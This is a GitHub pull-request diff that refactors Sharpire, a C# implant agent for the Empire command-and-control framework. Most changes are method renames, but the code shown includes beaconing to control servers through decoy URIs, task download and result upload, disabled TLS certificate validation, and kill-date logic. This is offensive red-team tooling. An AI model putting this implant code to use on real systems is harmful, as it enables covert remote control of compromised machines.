Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update C# agent to use DH keys and wrap routing packets #7

Open
wants to merge 9 commits into
base: v6.0-dev
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Prev Previous commit
agent comms cleanup and sessioninfo
  • Loading branch information
Cx01N committed Mar 1, 2025
commit 19967f1c2050b942a636936e031d0f4b707a96b0
10 changes: 5 additions & 5 deletions Sharpire/Empire.Agent.Coms.cs
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ private byte[] NewRoutingPacket(byte[] encryptedBytes, int meta)
encryptedBytesLength = encryptedBytes.Length;
}

byte[] data = Encoding.ASCII.GetBytes(sessionInfo.GetAgentID());
byte[] data = Encoding.ASCII.GetBytes(sessionInfo.GetAgentId());
byte lang = 0x03;
data = Misc.combine(data, new byte[4] { lang, Convert.ToByte(meta), 0x00, 0x00 });
data = Misc.combine(data, BitConverter.GetBytes(encryptedBytesLength));
Expand Down Expand Up @@ -81,7 +81,7 @@ internal void DecodeRoutingPacket(byte[] packetData, ref JobTracking jobTracking
byte[] extra = routingPacket.Skip(10).Take(2).ToArray();
uint packetLength = BitConverter.ToUInt32(routingData, 12);

if (sessionInfo.GetAgentID() == packetSessionId)
if (sessionInfo.GetAgentId() == packetSessionId)
{
byte[] encryptedData = packetData.Skip(offset).Take(offset + (int)packetLength - 1).ToArray();
offset += (int)packetLength;
Expand Down Expand Up @@ -109,7 +109,7 @@ internal byte[] GetTask()
webClient.Headers.Add("Cookie", "session=" + routingCookie);

Random random = new Random();
string selectedTaskURI = sessionInfo.GetTaskURIs()[random.Next(0, sessionInfo.GetTaskURIs().Length)];
string selectedTaskURI = sessionInfo.GetTaskUrIs()[random.Next(0, sessionInfo.GetTaskUrIs().Length)];
results = webClient.DownloadData(sessionInfo.GetControlServers()[ServerIndex] + selectedTaskURI);
}
catch (WebException)
Expand Down Expand Up @@ -140,7 +140,7 @@ internal void SendMessage(byte[] packets)

try
{
string taskUri = sessionInfo.GetTaskURIs()[random.Next(sessionInfo.GetTaskURIs().Length)];
string taskUri = sessionInfo.GetTaskUrIs()[random.Next(sessionInfo.GetTaskUrIs().Length)];
webClient.UploadData(controlServer + taskUri, "POST", routingPacket);
}
catch (WebException) { }
Expand Down Expand Up @@ -189,7 +189,7 @@ private byte[] ProcessTasking(PACKET packet)
jobTracking.jobs[taskId.ToString()].Status = "completed";
return EncodePacket(1, systemInformation, packet.taskId);
case 2:
string message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting";
string message = "[!] Agent " + sessionInfo.GetAgentId() + " exiting";
SendMessage(EncodePacket(2, message, packet.taskId));
Environment.Exit(0);
return new byte[0];
Expand Down
16 changes: 7 additions & 9 deletions Sharpire/Empire.Agent.Stager.cs
Original file line number Diff line number Diff line change
Expand Up @@ -132,7 +132,7 @@ public EmpireStager(SessionInfo sessionInfo1)
sb.Append(charactersArray[j]);
}

sessionInfo.SetAgentID("00000000");
sessionInfo.SetAgentId("00000000");
}

internal static byte[] NewInitializationVector(int length)
Expand All @@ -150,14 +150,12 @@ internal static byte[] NewInitializationVector(int length)
////////////////////////////////////////////////////////////////////////////////
public void Execute()
{
byte[] stage1response;
byte[] stage2response;
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };

try
{
stage1response = Stage1();
Stage2(stage1response);
var stage1Response = Stage1();
Stage2(stage1Response);
try
{
#if (PRINT)
Expand Down Expand Up @@ -253,10 +251,10 @@ private byte[] Stage1()
byte[] routingPacket = BuildRoutingPacket(stagingKeyBytes, "00000000", 2, hmacData);

Random random = new Random();
byte[] response = SendData(sessionInfo.GetTaskURIs()[random.Next(0, sessionInfo.GetTaskURIs().Length)], routingPacket);
byte[] response = SendData(sessionInfo.GetTaskUrIs()[random.Next(0, sessionInfo.GetTaskUrIs().Length)], routingPacket);

RoutingPacket packet = DecodeRoutingPacket(response);
sessionInfo.SetAgentID(packet.SessionId);
sessionInfo.SetAgentId(packet.SessionId);

byte[] decryptedData = AesDecryptAndVerify(stagingKeyBytes, packet.EncryptedData);
byte[] nonce = decryptedData.Take(16).ToArray();
Expand Down Expand Up @@ -338,10 +336,10 @@ private void Stage2(byte[] nonce)

byte[] encryptedData = AesEncryptThenHmac(keyBytes, systemInfoBytes);

byte[] routingPacket = BuildRoutingPacket(stagingKeyBytes, sessionInfo.GetAgentID(), 3, encryptedData);
byte[] routingPacket = BuildRoutingPacket(stagingKeyBytes, sessionInfo.GetAgentId(), 3, encryptedData);

Random random = new Random();
SendData(sessionInfo.GetTaskURIs()[random.Next(0, sessionInfo.GetTaskURIs().Length)], routingPacket);
SendData(sessionInfo.GetTaskUrIs()[random.Next(0, sessionInfo.GetTaskUrIs().Length)], routingPacket);
}

private void DotNetEmpire()
Expand Down
66 changes: 24 additions & 42 deletions Sharpire/Empire.Agent.cs
Original file line number Diff line number Diff line change
Expand Up @@ -61,11 +61,11 @@ private void Run()
string message;
if(sessionInfo.GetKillDate().CompareTo(DateTime.Now) > 0)
{
message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting: past killdate";
message = "[!] Agent " + sessionInfo.GetAgentId() + " exiting: past killdate";
}
else
{
message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting: Lost limit reached";
message = "[!] Agent " + sessionInfo.GetAgentId() + " exiting: Lost limit reached";
}

ushort result = 0;
Expand Down Expand Up @@ -629,24 +629,10 @@ public SessionInfo(string[] args)
ControlServers = args[0].Split(new[] { "," }, StringSplitOptions.RemoveEmptyEntries);
StagingKey = args[1];
AgentLanguage = args[2];

SetDefaults();
}

private void SetDefaults()
{
StagingKeyBytes = Encoding.ASCII.GetBytes(StagingKey);
TaskURIs = new[] { "/admin/get.php","/news.php","/login/process.php" };
UserAgent = "(Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
double DefaultJitter = 0.0;
uint DefaultDelay = 5;
uint DefaultLostLimit = 60;

TaskURIs = new string[] {};
UserAgent = "";
StagerUserAgent = "";
if (string.IsNullOrEmpty(StagerUserAgent))
{
StagerUserAgent = UserAgent;
}
StagerURI = "";
Proxy = "default";
ProxyCreds = "";
Expand All @@ -655,69 +641,65 @@ private void SetDefaults()
public string[] GetControlServers() { return ControlServers; }
public string GetStagingKey() { return StagingKey; }
public byte[] GetStagingKeyBytes() { return StagingKeyBytes; }
public string GetAgentLanguage() { return AgentLanguage; }

public string[] GetTaskURIs() { return TaskURIs; }
public string[] GetTaskUrIs() { return TaskURIs; }
public string GetUserAgent() { return UserAgent; }
public double GetDefaultJitter() { return DefaultJitter; }
public void SetDefaultJitter(double DefaultJitter)
public void SetDefaultJitter(double defaultJitter)
{
this.DefaultJitter = DefaultJitter;
DefaultJitter = defaultJitter;
}
public uint GetDefaultDelay() { return DefaultDelay; }
public void SetDefaultDelay(uint DefaultDelay)
public void SetDefaultDelay(uint defaultDelay)
{
this.DefaultDelay = DefaultDelay;
DefaultDelay = defaultDelay;
}
public uint GetDefaultLostLimit() { return DefaultLostLimit; }
public void SetDefaultLostLimit(uint DefaultLostLimit)
public void SetDefaultLostLimit(uint defaultLostLimit)
{
this.DefaultLostLimit = DefaultLostLimit;
this.DefaultLostLimit = defaultLostLimit;
}

public void SetDefaultResponse(string DefaultResponse) { this.DefaultResponse = DefaultResponse; }
public void SetDefaultResponse(string defaultResponse) { this.DefaultResponse = defaultResponse; }
public string DefaultResponse { get; set; }

public string GetDefaultResponse() { return DefaultResponse; }

public string GetStagerUserAgent() { return StagerUserAgent; }
public string GetStagerURI() { return StagerURI; }
public string GetProxy() { return Proxy; }
public string GetProxyCreds() { return ProxyCreds; }
public DateTime GetKillDate() { return KillDate; }

public void setProfile(string profile)
public void SetProfile(string profile)
{
TaskURIs = profile.Split('|').First().Split(',');
UserAgent = profile.Split('|').Last();
}

public void SetKillDate(string KillDate)
public void SetKillDate(string killDate)
{
Regex regex = new Regex("^\\d{1,2}\\/\\d{1,2}\\/\\d{4}$");

if (string.IsNullOrWhiteSpace(KillDate))
if (string.IsNullOrWhiteSpace(killDate))
{
this.KillDate = DateTime.MaxValue; // High Date
KillDate = DateTime.MaxValue;
}
else if (regex.Match(KillDate).Success)
else if (regex.Match(killDate).Success)
{
DateTime.TryParse(KillDate, out this.KillDate);
DateTime.TryParse(killDate, out KillDate);
}
}

public void SetWorkingHours(string WorkingHours)
public void SetWorkingHours(string workingHours)
{
Regex regex = new Regex("^[0-9]{1,2}:[0-5][0-9]$");

if (string.IsNullOrWhiteSpace(WorkingHours))
if (string.IsNullOrWhiteSpace(workingHours))
{
WorkingHoursStart = DateTime.Today.AddHours(0); // 00:00
WorkingHoursEnd = DateTime.Today.AddHours(23).AddMinutes(59); // 23:59
return;
}

string[] times = WorkingHours.Split('-');
string[] times = workingHours.Split('-');
if (times.Length == 2)
{
string start = times[0].Trim();
Expand All @@ -734,10 +716,10 @@ public void SetWorkingHours(string WorkingHours)
public DateTime GetWorkingHoursStart() { return WorkingHoursStart; }
public DateTime GetWorkingHoursEnd() { return WorkingHoursEnd; }

public void SetAgentID(string AgentID) { this.AgentID = AgentID; }
public string GetAgentID() { return AgentID; }
public void SetAgentId(string AgentID) { this.AgentID = AgentID; }
public string GetAgentId() { return AgentID; }

public byte[] SetSessionKeyBytes(byte[] SessionKeyBytes) { return this.SessionKeyBytes = SessionKeyBytes; }
public byte[] SetSessionKeyBytes(byte[] sessionKeyBytes) { return this.SessionKeyBytes = sessionKeyBytes; }
public string GetSessionKey() { return SessionKey; }
public byte[] GetSessionKeyBytes() { return SessionKeyBytes; }
}
Expand Down